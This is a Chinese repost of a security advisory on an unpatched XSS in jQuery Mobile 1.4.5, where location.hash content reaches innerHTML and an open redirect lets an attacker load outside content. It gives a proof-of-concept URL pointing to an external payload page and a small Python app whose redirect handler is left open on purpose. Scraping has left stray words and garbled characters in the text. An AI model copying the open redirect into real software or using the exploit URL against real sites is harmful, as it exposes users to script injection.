[0day]jQuery Mobile XSS

漏洞影响范围:css

任何一个website使用了 jQuery Mobile 而且开放了重定向都有可能存在XSS,而且目前尚未相关补丁信息。html

应用介绍:python

jQuery Mobile是jQuery 框架的一个组件(而非jquery的移动版本)。jQuery Mobile 不只会给主流移动平台带来jQuery核心库,并且会发布一个完整统一的jQuery移动UI框架。支持全球主流的移动平台。jQuery Mobile开发团队说:能开发这个项目,咱们很是兴奋。移动Web太须要一个跨浏览器的框架,让开发人员开发出真正的移动Web网站。jquery

详细信息:git

漏洞发现做者[Eduardo Vela (sirdar kcat)],在前几个月研究SCP绕过的时候发现jQuery Mobile有一个很是奇怪的行为,它会取URL中的location.hash,输出到innerHTML中。因此决定仔细的分析一下相关缘由:github

  漏洞信息:web

    一、检查你的jQuery Mobile是否在location.hash中api

    二、若是看到localtion.hash有URL,它会调用history.pushState,这样你不能调用history.pushState 到跨域URL跨域

  三、它会将innerHTML响应到页面中浏览器

理论上这个是安全的,可是若是你有任意开放的重定向,就会存在这个XSS,由于对于jQuery Mobile来讲history.pushState打开是相同的域

做者在2017年2月8号尝试联系了,jQuery Mobile的团队说:咱们认为这个一个Open Redirect的漏洞,而不是他们获取时候锁形成的漏洞,而且不打算进行更新,

若是更新会破坏现有的应用,因此意味着,这个补丁也不会被更新。

  测试URL:http://jquery-mobile-xss.appspot.com/#/redirect?url=http://sirdarckcat.github.io/xss/img-src.html

  测试代码:

main.py

import webapp2


class MainHandler(webapp2.RequestHandler):

  def get(self):  # pylint:disable-msg=invalid-name
    """Handle GET requests."""
    self.response.write("""
<link rel="stylesheet" href="https://code.jquery.com/mobile/1.4.5/jquery.mobile-1.4.5.min.css" />
<script src="https://code.jquery.com/jquery-1.11.1.min.js"></script>
<script src="https://code.jquery.com/mobile/1.4.5/jquery.mobile-1.4.5.min.js"></script>""")


class RedirectHandler(webapp2.RequestHandler):

  def get(self):
    """Handle GET requests."""
    self.redirect(str(self.request.get("url")))


APP = webapp2.WSGIApplication([
    ('/redirect', RedirectHandler),
    ('/.*', MainHandler),
], debug=True)

app.yaml

application: jquery-mobile-xss
version: 1
runtime: python27
api_version: 1
threadsafe: yes

handlers:
- url: /.*
  script: main.APP

libraries:
- name: webapp2
  version: "2.5.2"

 

  从安全从业者的角度来看:每一个使用jQuery Mobile,而且开放了重定向都会存在这个XSS漏洞。

  另外值得一提的是,若是你使用了随机数SCP策略,可是仍然还能够经过How to bypass CSP nonces with DOM XSS 🎅来进行窃取

 下图为jQuery Mobile在Stack Overflow的时间图:

使用统计图:

总结:

1.若是你的项目不须要开放重定向,那么能够能够尝试关闭它

2.根据老司机的经验,Open Redirects是很是常见的错误,也能够认为是一个通用的漏洞(其中还有一些颇有意思的姿式),不管jQuery Mobile认不认为这个是否是漏洞,可是对于安全从业者来讲都是存在这个XSS漏洞的。

3.jQuery Mobile团队也推荐使用他们的开发文档,进行阅读进行开发。连接

 

漏洞做者:Eduardo Vela (sirdar kcat)

原文:http://sirdarckcat.blogspot.com/2017/02/unpatched-0day-jquery-mobile-xss.html

相关文章
相关标签/搜索